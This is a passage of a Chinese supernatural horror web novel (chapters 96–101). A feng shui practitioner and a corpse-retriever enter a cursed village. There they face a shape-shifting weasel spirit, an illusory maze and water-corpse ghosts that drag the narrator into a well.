这河,绝对比当年老鳏夫处理的河更大! 第96章 镇水之法 阳光刺目, 柳条微微摇摆着,却显得分外阴森,倒影之下,总像是有些其他影子在晃,可仔仔细细一看,又看不真切。 “这水够阴的。”苟驹蹲身下来,捧了一把水。 我没吭声,盯着村子里边儿看。 因为水位的关系,还有村子地势的原因,村口往里缩窄了十几米,更远处的一些屋宅院落门前,有了些人影,正在张望我们这边儿。 不过,他们没有敢往前走,和村口保持了格外远的距离。 “先进村吧,那里有条小船。”我指了指右前方,水边有一条小小的木船,这船很旧了,至多三米长,船沿还生满了青苔。 “陈先生……你冷静,这船可上不得。”苟驹抓住我手腕,格外用力,眼皮还在一直跳:“你忘了我和你说过什么?” “自打这条河出来了,里边儿的人出不去,外边儿的人进不去,水里都是水尸鬼,有捞尸人过来,都死了一个,这条船摆在这里,太显眼了,就是给人用的。”苟驹声音压得很低,说:“水里边儿的东西,精得很,咱们先找熟人。” 熟人? 这里算是前边儿有村,往后,得好几里外的镇上才有店了。 上哪儿有熟人? 我晓得苟驹谨慎,可眼前就是村子,三十米宽的河是宽了一些,不过还好,有这条船肯定能过去。 只是,河中的水尸鬼比较麻烦…… 苟驹,应该就是忌惮他们? 思绪间,我急躁的情绪稍稍镇定了些。 怪异的是,河边的小船居然自己在飘动,安安静静的就到了我们眼前了。 风是不小,吹得柳条猛烈摇摆晃动。 是风,将船吹到我们脸上的? “爬开点!”苟驹骂了一句,脚猛地往前一蹬。 那船发出嘎吱一声响,朝着河水中央飘去。 我头皮顿一阵发麻,那一瞬间,我瞧见了船侧有好几个暗沉沉的影子,像是小孩儿似的,很快就藏进了船底。 苟驹拉着我后退了两步,和水面保持了一定距离。 随后他摸出来手机打电话。 这通电话,苟驹一边说,还一边挠头,听起来是笑呵呵的,实际上,他是一直在赔笑脸,语气更好,什么欠人情, 给个面子一类的。 挂断后,苟驹脸上笑嘻嘻,嘴里却骂了句玛卖枇。 他又小声嘀咕了句:“你们守旧,你们挣钱了吗?老子标新立异,赚你们八辈子。” 从最初和那个女捞尸人徐湘灵接触,再道之后苟驹有事儿没事儿的几句话,以及他之前打听黄渠村事情,这一系列的细枝末节,完全体现了他和传统捞尸人的不同。 他,被排挤的很厉害。 “稍微等一会儿陈先生,这里有捞尸人,他们能进村,进不去,出不来的,都是普通人。”苟驹又和我解释了句。 我点点头。 这,才算符合常理。 过了五六分钟,一侧的田里头匆匆走来了一人。 此人的装束和之前见过的徐湘灵相仿,粗麻上衣,裤脚还缠着细麻绳,头发短寸,眼珠子微微泛黄,皮肤很粗糙。 看起来,他要比苟驹状态差一些,老一些? “老苟,你真要来凑热闹,没得人待见你啊。”那人声音很粗,圆脸更带着疑惑。 走到我和苟驹身前,他却定定的看着我,眼神多少有些放光。 “陈先生?”那人手在身上蹭了蹭,伸出来,要和我握手。 “日你仙人板板,你早说,跟来了先生,还废求那么多话?”那人又瞪了苟驹一眼,这语气作风是粗鄙极了。 他手劲儿更大,握着我的手一阵晃,我虎口都一阵青痛。 “说个巴锤,陈先生是回家,我的确是来帮忙的,不过陈先生不一定会帮。”苟驹当即开口。 那男人松开手,眉头都拧着。 接着苟驹和我介绍了这人叫苟霍,是天沧江上游河段的捞尸人。 我正心想,他们是不是有什么沾亲带故的时候,苟驹又解释:“捞尸人最上边儿有师承,几百年是一家,大部分都姓苟,往上十几代可能是亲戚,到现在就只剩下个同行的关系了,还有些生女儿的,姓早就改了,先前那个小娘皮就是。” “你莫乱讲话,徐湘灵在这里。”苟霍提醒了句。 随后,苟霍就带着我们朝着他来时方向走去。 途中,苟驹和我简单解释了几句,意思是,我也清楚,他过来的目的,和其他捞尸人一样,是水尸鬼,毕竟这是饭碗的事儿。 他晓得我想回黄渠村,肯定是家在这里,我比他们更急。 总归,先送我进村,如果我需要的话,他跟着。 等我把事情处理了,就抽点空,帮他们想想,有没有可能把水尸鬼给解决了? 苟驹这番话语间,苟霍侧脸瞟我,还慎重的点点头。 我没接话,只是点头之余,心头也在思索。 和苟霍来找我们的时间差不多,五六分钟,我们停在了一处位置。 这里的河面最窄,居然收缩到只有十米左右。 一侧有个破旧的院子,对岸就是黄渠村内,后山坐落在眼前。 那院子属于在村外,早些年,住在这里的两口子都得癌死了,旁边是他们家的地,无人打理都变得荒芜。 这家人还有孩子在外打工,户口都迁了出去,按道理,他不回来继承,村子能收回宅基地,分了耕地。 可正因为两人死在家中的原因,尸体都是腐烂了才被发现,村民都觉得晦气,没人愿意来,这房子就这样孤零零立了好多年,成了空宅。 此刻,院内待着七人,装束都相差无几,其中一个正是徐湘灵。 她瞧见我们,就腾地一下站起身。 不过,另外六人注意力却落在我身上,他们本来有些不悦的神态,都变得惊喜起来。 “老苟,你可以的,办人事了。”有人喊了句。 苟驹皮笑肉不笑。 带我们来的苟霍上前,和那几人交谈了一番。 那几人的脸色沉了不少,面露思索。 我没说话,扭头看这水边,居然有八条船,说实话,这几条船拼起来,都能当桥用了。 我一样目露思索,眼下的事情,应该怎么办才好? 捞尸人有目的,有想法,是要除掉水尸鬼。 于我来说,这水尸鬼算是我放出来的,我是始作俑者? 真酿成大患,我就造大孽了。 村里的情况,现在不明朗,最大的凶险应该就是这里? 如果这里能解决,我又能将我爸和爷爷带出来,那就是皆大欢喜。 解决的办法,不难。 只要再度堵住水口,这河就会消失,水尸鬼就会重新被困在死水潭子里。 可麻烦就麻烦在,水口怎么堵? 这需要镇物。 我肯定不能将罗盘或者寻龙分金尺再留下。 那如果……再将白姝灵的尸体摁回气口里? 这也不行,她另一部分魂魄出来了…… 想到这里,我瞳孔猛地一缩,心咚咚跳着,都快成嗓子眼蹦出来了。 第97章 我是老伯? 最开始的老鳏夫,是怎么对付黄渠中的水尸鬼? 那时候他没弄清楚水尸鬼的存在,当做是河伯,河伯娶亲,年年给水尸鬼送一个女子。 最后他反应过来,便让自己女儿投河! 生气冲尸,尸化河魁! 那一次变动,不光是风水,不光是让黄渠断绝,只剩下个死水潭子,更重要的是河魁! 白姝灵的尸身就是河魁! 死水潭子限制了水尸鬼的活动范围,河魁又是一种极为凶煞的尸体! 以前我不明白,现在我学了不少老陈家的风水术后,已经通晓这一切内幕! 有魂魄在尸身内的白姝灵,就能够克制,甚至是杀死水尸鬼! 因此,水尸鬼只能待在河伯庙里,它们不能远离死水潭子,更不能肆无忌惮的在水中,直至我去拉白姝灵的尸身,让尸体离开穴眼,魂魄全部归一被我带走。 正因此,只要将白姝灵摁回去,再将她另一部分本身在尸身中的魂魄也还回去,黄渠村就能回到之前的布局! 我更能一箭双雕,在我身旁的白姝灵,就会是以前那个白姝灵! 只是……新的问题又出现了…… 要怎么将白姝灵的魂魄再度分开? 我在苦思冥想,这几个捞尸人似是商议完了结果,走至我面前。 “进村,没有问题的,我们可以送。”开口的捞尸人并非先前的苟霍,模样陌生,神态冷峻。 “不过,陈先生你出来的时候,就需要帮我们解决水尸鬼了,否则的话,我们不会来接,并且,不会带其余人出村。”另一人随即说道:“这个位置,是目前这条河最狭窄的口子,我们捞尸人的数量足够多,才震慑了水尸鬼,但凡人数少一些,想要过河,它们就会拖人脚踝。” 我点点头,说:“好。” 几个捞尸人的脸色稍稍好看了一些。 我答应了条件,他们便带上了友善笑容,可见利益关系之明显。 “走吧。”稍前方的徐湘灵喊了一声,便走到河边。 她跳上了其中一条船。 我上船后,别的捞尸人则在河边站成了一排,他们随时蓄势待发,要窜进水中一般。 尤其是他们的动作出奇统一,手中握着一柄尺长的卜刀,刀刃在阳光下显得异样锋锐! 哐当一声,苟驹居然跳上了船。 “你上来干什么?你也要进村?”徐湘灵显得十分诧异,她和苟驹之间是有矛盾的,眼神的冷意比其余人都浓郁。 “不行?小娘皮,没看出来这村里阴森森的?与其呆在这里看你翻白眼,倒不如跟着陈先生,还能保护保护他周全,总归你也没有个好办法能解决这些东西,得等陈先生出来的时候,不是么?”苟驹轻描淡写的说。 岸上的那些捞尸人没说什么,只是神态稍有几分异样。 徐湘灵瞪了苟驹一眼,就开始撑船。 我自然没什么意见。 因为我对自己的认知很清楚,的确,风水术是不错了,懂得多,可欠缺一样很明显。 真要动起拳脚来,我根本没有什么章法,遇到一些东西,要有个人在身边,还是稳妥许多。 尤其是苟驹这样的人,都能在水里打捞凶尸,免不了和尸体搏斗,他拳脚功夫肯定不在话下。 十米长的河,过得却极为迟缓。 徐湘灵之后的注意力,都在瞄着船身周围。 苟驹同样如此,显得分外警惕。 模模糊糊的,我似是瞧见了水面有一些一些暗暗沉沉,起起伏伏的影子,只不过它们在水下太深,没有浮现上来。 余光看见岸边的那些捞尸人,他们神态更警惕,都仿佛是离弦之箭。 但凡有水尸鬼冒头,他们就会立即冲下水,将其捅个对穿! 哐当一声,船头撞在了岸边。 “上去吧。”徐湘灵轻蹙眉,话音清脆。 “谢谢。”我道谢后,三两步上了岸。 苟驹直接一跳,就稳稳站在了岸边。 徐湘灵只是瞥了我一眼,就撑船往回。 “走了。”苟驹冲着对岸摆摆手。 只有苟霍做了些许回应。 我便没有停顿,匆匆转身,朝着村子里走去。 后山黑压压的,饶是大白天,都给人一种沉闷感。 苟驹跟在我身旁,他嘴里嘀咕了几句:“那小娘皮,一副别人欠了她几十万彩礼的架势,以后嫁都嫁不脱。” 这段时间的接触下来,苟驹这人虽然四十来岁,但是性格还是很活跃的。 只是,村子给人的压抑感太强了。 这不光是后山的沉闷,还有村里本身的压抑。 “苟叔,你要谨慎点儿,我们这村,可能和你认知中的不太一样,尽量不要和我分开。”我低声开口。 “成。”苟驹爽快回答。 因为村南边儿,要穿村,因此,我只能从后山的尾巴往里走。 结果刚进村路没两步,就瞧见了一个身材矮小,伛偻的老头儿。 他披着一件脏兮兮,宽厚的袄子,头上还带着一顶狗皮帽,手里把玩着两颗核桃,发出轻微的咯吱声,却挡在路前头。 我准备侧身从他身边绕过去。 矮老头却恰巧一步,挡在我面前。 我再换方向,他又回退,还是刚好挡住我。 “老伯,你挡路了。”我皱眉开口。 “我是老伯啊?”矮老头忽然抬起头来,他语气显得分外兴奋。 这一眼,却让我脸色陡变。 狗皮帽子下,是一张圆溜溜的脸,鼻子圆圆,耳朵圆圆,只是脸上的毛黄白相间,它嘴巴稍稍咧开,露出尖溜溜的牙齿来。 这哪儿是什么人,分明是黄鼠狼。 只是他披着人的衣服,带着人的帽子,学着人走路。 居然,还学了人话? “小伙子?” 语气还是兴奋,却多了一丝苍老。 我觉得一阵眼花,视线都带着一丝重影。 帽子下,俨然是一张苍老的脸,肤色泛黄,毛孔粗大。 这是个人啊! 就是个老头子…… 晃了晃头,我刚花眼了? “小伙子,你是老陈家的陈棺生对吧?”老伯嗬嗬咳嗽两声,问。 “有些时间没瞧见你了,我正找你呢。” “嘿,你说怪不怪,我家里那么些口人呢,就是说你不在村里,找不见你。”老伯又说。 我皱了皱眉。 确确实实,这老伯是个人…… “你有什么……”我正开口,那老伯眼前又是一亮。 就在这时,一只手,却忽然紧攥着我肩膀,是苟驹。 先前苟驹的眼神也是不对劲的,带着思索,此刻,他眼珠子里带着惊悚,低声说:“陈先生,走了,你跟个畜生东西,瞎白话什么?” 那老伯顿时神态凶了起来,死死的瞪着苟驹。 不过,他没有和苟驹说话,又直愣愣的看向我,说:“我有事啊,你有没有瞧见我家小小孙子?前段时间他和你打了个照面,就不见了,他去哪儿了?” 苟驹却闷不做声,直接拉着我就走。 那老头步伐很小,碎步的跟上我们,而且,他走路的动作怪异,一点儿都不平衡,就像是农村里那些两脚直立起来的土狗,不能灵活动腿,一步一步的往前蹦,随时会摔倒一样。 人怎么会这样走路? 最关键的是,苟驹先前那句话! 畜生东西!? 第98章 奇门遁甲,未讨先封 第一眼,我看他是老伯。 第二眼,仿佛是个会说人话的黄鼠狼。 紧接着,就是正常的老脸,我才觉得,自己是眼花。 在苟驹眼中,居然不是那样? 苟驹的脚步飞快,那老伯的身影逐渐消失在身后,苟驹才堪堪慢了一些,眼中的惊悚更多。 “陈先生……你没认出来???” 不光是惊悚,苟驹神态更带着浓郁的诧异,还有不理解。 “那是个黄鼠狼……穿着人衣服,学着人走路,他挡路,你走是对的……你怎么会突然喊他老伯?” “他还没讨封口,你就给了个封口……” 苟驹这话,让我身上起了一串细密鸡皮疙瘩。 灰仙娶亲,狐仙嫁女,黄仙换命,白仙施药,柳仙吃人…… 这基本上是一串耳熟能详的民俗诡事,不过,不仅仅只有这些而已,每个地域面临过的各种诡异事件不同。 像是黄皮子讨封口,基本上在北方那边儿流传的多。 我刚才给了封口? 这未免太诡异,可换个人来,被一个老头挡路,开口也不会说别的,都是一个称呼,然后喊他让路啊! 细节涌来,老头抬头的瞬间,是反问我,他是老伯啊? 接着他就说,他家里的人,有很多都在村上,都瞧不见,找不到我…… 村上瞧不见,找不到我的东西,就只有两种。 其一,是我妈。 其二,就是妄图要我人皮,吃我血肉的大仙儿。 阴婚的存在,白姝灵的存在,变相保护了我。 可为什么……这个老伯…… 不,这个黄鼠狼与众不同,能看见我? 还是因为我先给他封口,因此它认出了我是陈棺生? “陈先生……你怎么干杵着……不说话?”苟驹神情还是显得很急。 “我先前没注意。”我深吸一口气,只能如实回答。 “……”苟驹凝噎,哑然无声。 一时间,我也沉默了。 在回水湾的时候,我和苟驹的相处方式不一样。 那里没有任何危险,是一个很好让我增加常识,认知环境的地方。苟驹一直都是有求于我,再加上卢家的事情,我展现出来的都是擅长的一面,都是风水术。 撇开风水术,我对很多东西,其实是一无所知。 苟驹跟上来的好处有一点,就是能帮我,可事实还有一点,就是其余东西认知薄弱,我露出了所谓的“破绽”。 “这不太对吧……”苟驹强笑着,又说了句:“陈先生,您和我开玩笑?还是说,你真没注意,会有这么个东西敢来挡着路?” 一时间,思绪完全镇定下来。 “苟叔,没开玩笑,也不是真没注意,我得和你说实话,风水术,我行,其他的,恐怕都不太行,黄渠村变得有些离奇,正常情况下,那些东西的确看不见我,可现在太不正常,大白天,它们居然都出来了。” “若是你觉得危险,这会儿马上出村,别管我,我会到先前的位置去找你们的。” 两句话,我就简明扼要,直接照实说了。 因为这种环境,要掩饰自己根本不可能。 此前我没有掩饰,是事件促成的,我这人,也不想装腔作势。 否则,必然给苟驹带来困扰和麻烦。 “啊?”苟驹脸色再变,一时间愣住,更没反应过来了…… 余光瞧见后方远处,那老黄皮子还在一蹦一蹦往前走,它愣是不肯趴下来四脚爬行,否则早就追上了我们。 “它来了。”我低声说完,径直再往前走,就没有理苟驹。 这东西是跟着我的,不会去缠着苟驹,苟驹要走,轻而易举就能走! 结果,苟驹闷头又跟上了我,他嘴里不知道嘀咕着什么,好像说了瞿九娘的名字? 不知不觉间到了村子中央。 我才发现另一个问题。 安静……非比寻常的安静…… 大白天的,从村后进来,到了村中,路上居然没有一个村民?就连个疯跑的孩子都没有? 这对吗? “苟叔,你跟紧我一些。”我低声开口。 苟驹这架势,分明是不出村。 他眼皮跳了跳,嘴角又微微抽搐,显得犹豫。 我没多言,再度往前走。 走着走着,那股不对劲的感觉,就更强了…… 明明走了半晌,早就该到村子南头,可停下来的时候,我和苟驹两人,还是在村中央。 刺目的阳光,晒得人脑袋有些发晕。 “鬼打墙了?陈先……小陈……这你不会也没看出来吧?”苟苟驹脸色发紧,他声音充满了不自然,对我的称呼,都直接变了。 我没觉得有什么。 先生,本来就是一种尊称。 苟驹还时常用您。 这本来就不是我应该受的。 无论从年纪还是经验,他喊一声小陈,我都觉得正常的多。 “不是鬼打墙,大白天的,怎么会鬼打墙?”我摇摇头,脸色却显得阴晴不定。 “那我们怎么会走不出去?”苟驹眉头都拧成了疙瘩。 “是奇门遁甲,村里的风水被改了,不应该没有人的……就算村里出事,也不可能这么安静……”我说这话的时候,头皮都一阵阵发麻,脸上起了细密的鸡皮疙瘩。 “啥意思?”苟驹没反应过来。 尸鬼,或者精怪方面的常识,他知道的比我多。 可这种,相对于风水的知识,我就肯定过硬,他就一无所知。 “我们走进了别人的风水里,眼前看到的东西都是假的,很可能,我们正在一个小圈子里不停的绕圈,也有可能,进了某条巷子,正在来回走动……” “鬼打墙是晚上,是鬼遮眼,这我很清楚。” “可现在是白天,怎么可能活见鬼?”我再度解释,就极为直白了。 苟驹才点点头,眼中稍稍恢复了一丝镇定。 可我没镇定下来,汗珠顺着脸颊淌下。 那这里肯定不是村中央…… 更关键的是,我们是从哪儿走到这奇门遁甲里的,我不知道…… 是陈梁生,还是曾经披着老鳏夫皮的胡蝶,设下的这个局? 他们,是否发现我被困住了? 这绝对不是什么好事儿! 还有,奇门遁甲这么厉害,让入局的人视听都完全被混淆,改变? 我正想着呢,余光中,又有个人影慢慢蹦跶了过来,不正是那穿着旧袄子的老黄鼠狼吗? 阳光下它的脸分外惨白,褶皱分外多,我还是无法分辨。 眼中的它就是正常的老人脸,唯独鲜明的,是它那双狡黠眼珠,不停转动着,像是谋划着什么鬼胎! 第99章 生气方以游年为主,即乾宅以兑为生气 “那玩意儿又来了!”苟驹绷着一张脸,他先前才恢复一些的镇定,此刻荡然无存。 “他妈的,老子弄死他!” 奇门遁甲的存在本身就让苟驹不安,这黄皮子的紧跟不舍,直接让苟驹动了怒,噌的一声轻响,他手中多了一把明晃晃的卜刀,刀刃锋锐极了,还有几条血槽,刀背更是有倒钩。 那穿着旧袄子的黄皮子却停在了远处,他双手搭在胸前,那神态举动像是窃笑。 “操了……”苟驹迈步就要迎上去。 “苟叔,别走丢。”我赶紧抬手,抓住苟驹胳膊。 苟驹才停下来,不停的喘着粗气。 我再度四扫周围,晃了晃脑袋,总觉得还有哪儿不对劲,却说不上来。 那老黄皮子的确没靠近了,还在逐渐远离,彻底消失在视线中。 “总不可能说真在一个小巷子里绕弯子,这么多假的东西?不对劲啊。”苟驹抬腿,朝着旁边一棵树蹬了一脚。 哗啦的声响中,树叶簌簌落下。 我深呼吸,看着那摇摆的树冠,喃喃道:“真的?” 奇门遁甲能让人视觉出问题,导致被困,在风水布局上,一些关键点会布下机关,人试探触碰,就会中招。 苟驹是真踹到了一棵树上,而并非假象。 “这不是小巷子,就是村子,是村子本身被动过手脚,导致我们在村中绕弯子,可为什么一个村民都看不见?” 我再度下了判断。 那股不对劲的感觉愈来愈浓郁。 “你有没有闻到一股尿骚味,还混着屁臭味?”苟驹手掩了掩口鼻。 “闻到了……”我脸色再变。 小时候,因为没有什么玩伴,我喜欢远远去看村里的小孩儿做游戏,或者远远听村头柳树下的老人讲一些老故事。 其中有个故事,就和黄鼠狼有关。 黄仙换命是纯纯恐怖,黄皮子讨封口则是脍炙人口。 可事实上黄皮子这东西,还有更多的阴森之处。 譬如黄皮子的尿,能够迷惑人方向感,黄皮子的屁,能够让人产生幻觉。 在老一辈的人看来,无论是黄仙换命,还是讨封口,都是黄皮子先迷惑了人心。 让人眼前看到非同寻常的东西,自己去上吊,自己说一些话。 当初我不就是鬼使神差的在柳树上吊。 先前也是莫名其妙的就把老黄皮子认成了老头? 想清楚这些,口鼻中闻到的那股尿骚味更重,风一吹,像是老咸菜一样的屁味儿,更是在鼻翼周围萦绕不断。 “说没人,那不是就有人吗!?”苟驹忽地开口,指着斜前方,那里有个小岔路,正巧有个村民走过去。 “村里头有人整咱们,骚皮子再整咱们,不至于整全村的人,就算是都整了,至少过去问问情况。” 话语间,苟驹就要往前走。 我再度一把拉住苟驹的胳膊,谨慎的摇头。 “跟我来。”我低声说完,再度朝着一个方向走去。 苟驹眼中多少还是带着一丝不理解,不过,他没多言,就一直跟着我。 空气中的那股臭味,是一直萦绕不断的,好像处于全村,又好像只是萦绕在我和苟驹的身上。 走了半晌,苟驹疑惑的问我:“怎么一直在绕弯子?” “没有,不是。”我回答。 再走了五六分钟,眼前出现一个院子。 这是我家。 先前我走的那一圈儿,看似是绕弯子,实际上,是去了村子里头很多个地方,就是相关于我记忆中能找到的路。 我发现,路径都没有重复。 这就意味着一点,我只要不想着走出村,就不会遇到“奇门遁甲”。 打个比方,遭遇鬼打墙的必备条件是撞鬼,是阴气和鬼气遮人眼,迷人心窍。 那奇门遁甲更像是一个迷宫机关,触发它的必备条件,就是开关锚点。 锚点处于出村路上,我不知道确切具体是什么东西,就一直绕路走回原点。 我只要不去触发,单纯在村内活动就没有丝毫问题了。 思绪间,我推开了家门,苟驹跟着一起进了院内。 二十几天没回来,家里无人清扫,老槐树的落叶铺满了整个院落。 一切,都充满冷冰冰的感觉。 噌的一声,苟驹再度拔出卜刀,毛骨悚然的盯着堂屋位置。 一个人正冲着我们招手。 那人穿着一身花袄子,身材伛偻,头低着,脑袋上裹着一圈布帽子,看身形,居然像是我奶奶。 我鸡皮疙瘩都冒出来了,下意识就想喊一声奶奶。 只不过,嘴巴陡然闭上。 奶奶…… 我奶奶死了啊! 淹死的,就是旁边这口井里淹死! 且不说奶奶尸体在瞿九娘那里锁着,就算是她诈尸,咋可能大白天? 我没吭声,“奶奶”慢腾腾的抬起来头,圆溜溜的眼珠子中,透着一抹很拟人的情绪,是期待。 它脸上全是细密的绒毛,鼻头黑黑,耳朵半截被帽子遮住,嘴巴闭着,黑边的嘴唇带着一丝油亮。 随后,那期待成了阴厉,它猛地张开口,发出咔咔的尖锐叫声。 嗖的一声! 苟驹手里的卜刀飞出去了! 那黄皮子猛地往下一窜,躲至桌下,随后黄影蹿进了房间阴暗处,没了动静,只有袄子在地上。 “又搞这种手段,想讨个封口,这黄渠村不亏是有个黄字,黄皮子成精了啊……”苟驹眼皮子都跳个不停,又骂了句日他仙人板板。 我深呼吸,尽量让自己镇定下来。 随后我谨慎的走向自己房间,一脚踹开门,屋子里冒出一股难闻的腥臊味。 快速跑到书桌前,拿出来个本子和笔,快速退回院内。 这期间,苟驹拔下来了卜刀,又谨慎的跟上我。 我一手托着本子,一手持笔在空白页画了一张符,顶端是两笔形成一个等边,只需要下方封口,就是三角形,我没封口,而是写了一个界,界的竖下两笔拉长,中间书火光两字。 正下方则是咒字去掉一个口,仅剩的单口在中间,稍微扭转方向,像是菱形的排列,而咒字下半部分拉长,内里在书一个界字。 随后,我快速在符下边儿写了一串字。 生气方以游年为主,即乾宅以兑为生气。 再然后,我撕下来符,再拿出来罗盘,仔仔细细的分辨指针走向,找出兑方,那里刚好是放农具的屋子。 我先开门,取出来一柄柴刀,再关门,将符贴在门上,柴刀哐的一声扎在符顶端。 做完这一切,我才后退两步,擦了擦额头上的汗珠。 第100章 小陈你趴井口干啥? 空气中本来弥漫着的臭气,被另一种怪异的气息冲淡。 我形容不出来那股味道,分明是无色无味,可又实质性的存在,还让人觉得暖洋洋的,脑袋都清明许多。 “怪了……这啥味儿?还挺好闻。”苟驹用力吸了一口气,神情又显得很奇怪,是闻不出来。 “生气,不是味道。” “乾宅兑方养生气,兑为金, 金镇符,符催生,宅中生生不息,魑魅魍魉不入,精精怪怪不生。”解释之余,我重重吐了口浊气。 脑袋更清醒了一些,就让我觉得,先前的一系列事情,竟然有些浑浑噩噩。 “尿骚味和屁臭味赶出去了。”苟驹点点头,喃喃道:“又是老子听不懂的东西,不过,舒服多了,他奶奶的。” 我没吭声,视线盯着院门的位置。 随后,我走到了门口。 入目所视,却让我头皮发麻。 先前我没觉得怎么样,村路好端端的,可现在用符镇宅,保持清醒之后,才真的初见端倪。 地上全是乱七八糟的血痕,一部分呈现喷溅状,一部分是撒过的,血中混杂着鸡毛,还有大量的鸡屎。 只是我现在没闻到了,生气在宅中徘徊,实际上,那股味道格外熏人冲天。 “我的妈啊……”苟驹嗓门很大,震的我都差点儿耳鸣了。 深呼吸,我极力迫使自己镇定下来。 “黄鼠狼给鸡拜年,不安好心,这整个村子的鸡都被弄死了吧?”苟驹脸色都变得战战兢兢,问我:“小陈 ,你现在是要干啥?找瞿九娘?还有你家里人?” 从一开始,他并没有问过我任何话。 就是一个态度,我进村,他跟着我,关键时刻能护我周全。 饶是先前我暴露自己,除了风水术,其他层面都很薄弱,苟驹除了对环境更警惕,对我也没有别的什么变化。 称呼回归正常除外。 此刻能看出来,他是真怕了。 我一样怕了。 屁臭味和尿骚味,遮蔽了视听,奇门遁甲封住了去路,导致我们走过满是糟粕和血腥的村子,都觉得一切正常。 村里……究竟发生了什么? 瞿九娘和爷爷还好吗?我爸呢? 奇门遁甲可能是人设下的,黄皮子是自己进村? 还是说,因为黄渠的变化,将黄皮子,或者更多的大仙儿困在村里? 一时间,我思绪都陷入了迷惘。 “他们不在村里,只是我们得进村,才能到他们的地方去。”哑声解释,我再仔仔细细的注视着村路,才发现一些蹊跷。 远处,有个蹦蹦跶跶的人影。 近处一棵歪脖子老树下,直愣愣的立着个黄皮子。 好像是先前那个穿花袄子,想骗封口的畜生。 是它们道行太高,还是因为村里的变化,导致阴婚不能完全遮掩我气息,它们能“瞧见”我? “我会尽快想办法,破掉奇门遁甲。”我低声又说了一句,立即关上了院门。 苟驹这才点点头,他从兜里头摸出来个红白相间的小瓶子,对着嘴滋了一口,哈了口气,人都像是舒服多了。 我走进堂屋里头,捡起来了花袄子,搭在一侧的椅子上。 接着坐在桌旁,在先前画符的空本子上,用笔勾画起来。 我是在循着记忆,画出整个村子的布局。 通过这段时间学阴阳术,我愈发发现,自己的记忆很好。 以前从来没有尝试过,这样一画图,整个村子的一切,好似都清晰起来。 老鳏夫家的位置,我家的位置,火神庙的位置,村的东南西北,逐渐跃然于纸上。 手中笔快速的在各个地方点过。 我没有完全按照奇门遁甲来推断,因为我不确定设下这手段的人,从哪儿开始布列。 一个旁观者外人,根本不可能和他分析出一模一样的布局。 因此,我是以自家的乾宅为核心,开始分析整个村子的八门布局。 眼珠子都发酸,隐隐作痛,我眼中多了一丝惊喜。 “能走出去了。”我哑声开口。 结果一抬起头来,才发现,天居然都蒙蒙发黑。 画图和分析风水的时间,居然用了这么长? 堂屋中空空荡荡,苟驹居然没了人影子。 一时间那股空幽感,让我身上都窜起细密的鸡皮疙瘩。 苟驹人呢? 汗珠顺着额角淌了下来,我惊疑不定的左右四扫。 院子里半个鬼影子都看不见。 一眼又定格在贴着符插着柴刀的那道门上,符好端端的,刀也没掉下来,院子还是充斥着一股淡淡的生气。 我隐隐约约听到了一点儿声音,来自于井口的位置。 脸色再变。 说实话,对村子里的井,我已经有种畏惧感了,尤其是家里的。 白姝灵叮嘱过我在村子里不能接近这些地方。 只不过,我白天过了河,没什么意外。 那里有捞尸人保护。 黄渠现在恢复了过往几十年的样子,水尸鬼又开始肆虐。 我家中的井里,应该不会有水尸鬼了吧? 这么长时间我都不在家,它们不可能一直在这里等我啊。 最关键的是,我先前贴了符,什么东西都应该进不来才对。 还有一点,苟驹不见了踪影。 他掉井里了? 我知道这种想法荒谬,可他确确实实不见了。 思绪落定的瞬间,我不再犹豫,朝着井口的方向匆匆走去。 等到了井沿边上,往里一看,井水居然都快要漫出井口了。 那膨胀而出的水中,有个暗沉沉的影子,就像是人掉了进去,正要沉底。 捞尸人被井水淹死? 这念头更荒谬,却让我心急如焚。 探手,我哗啦一下掏入了井中。 触碰到那影子的瞬间,手腕一阵刺痛,是那影子反手抓住了我! 巨大的力道,就像是水里有一头蛮牛,差一点儿就将我拽了进去,我双腿猛地蹬地,膝盖抵着井沿,用力往后拽! 一只黑漆漆的手露出水面,布满了漆黑的毛发。 还有一颗头冒出半截,铜铃一般的大眼睛,矮塌的鼻梁, 显得分外恐怖。 我脑子嗡的一下。 不是苟驹! 怎么真的是水尸鬼!? 有符,不可能啊! 随后我瞪大眼,后背都瞬间被冷汗浸湿,想明白自己哪儿疏漏了! “啊……舒坦。”另一个畅快的声音响了起来,我一个激灵扭头,发现苟驹正从茅房出来,还在提裤子! “哎,小陈你忙完了?趴井口干啥呢?小心点儿,别栽下去了。”苟驹瞧见我,还喊了一声。 第101章 让妈抱抱你 “有水尸……”我脸皮紧绷,一声低吼, 只是话还没有完,另一只手猛地窜出水面,继而抓住我胳膊,本身就是一股牛劲儿了,这劲头太大,我只觉得膝盖都快要被磨破,整个人倒栽进井水中。 “小陈!”苟驹惊悚的大喊一声,箭步朝着我冲来! 咕嘟咕嘟。 我栽进水里来不及憋气,直接就呛水。 能瞧见两道黑影拽着我,快速朝着水下游去。 双腿忽然被一双手擒住,整个人都绷直,前方的撕扯,后方拉拽,我就像是成了绳子,被双方拔河,肩膀顿传来一阵撕裂的剧痛。 水对声音有极大的隔绝作用,只能模糊听见苟驹在骂着什么脏话。 下方拽着我的两个水尸鬼,眼珠子瞪得格外大,它们一样在咆哮着,甚至曝露出狰狞的牙床,那尖尖的獠牙,比农村里养的看门狗还锋利! 我本来就呛水,就算闭住了嘴巴,抑制着不去呼吸,肺部还是针扎似的难受,不停闷咳,身体都在哆嗦。 缺氧,导致脑袋开始发沉,人都快被憋死过去了。 拼尽力气,我双腿在挣扎。 腿上的劲儿,果然一松。 随后又是噗通一声,苟驹的身影冲进井水中,朝着那两道水尸鬼的黑影游去。 那两个水尸鬼骤然松开我,迎向苟驹。 我双手用力摆动, 快速调整身体姿势,哗啦一下冒出头,大口大口的喘息着。 不敢在水中多滞留,还好这里水位高,一把就能抓住井沿,我极力往上爬。 很快,我爬出井口,狼狈的往前爬了两三米,用力的咳嗽,快把肺都咳出来了。 井口中不停的传来哗啦哗啦声,水面格外不平静。 我艰难捂着胸口,站起身,再看水面。 脸色顿时骤变。 从下方鼓起来几个水泡,不,根本不是水泡,而是血! 鲜血顿时弥漫整个井水表面。 正当我内心煎熬,怕苟驹被水尸鬼害死的时候,哗啦一声,是苟驹从水中冒头,他骂骂咧咧的甩手,沉闷的声响中,竟然是两只水尸鬼被甩出井口。 月亮不知道什么时候出来了,月光照射在水尸鬼身上,它们的脖子位置都有一道深深的伤口,气管都被切断,甚至伤口太深,能够看见喉管下边儿的脖子,这感觉就和杀鸡下刀太重,切到了骨头一样。 苟驹爬出井口,抹掉脸上的血水,声音清晰了。 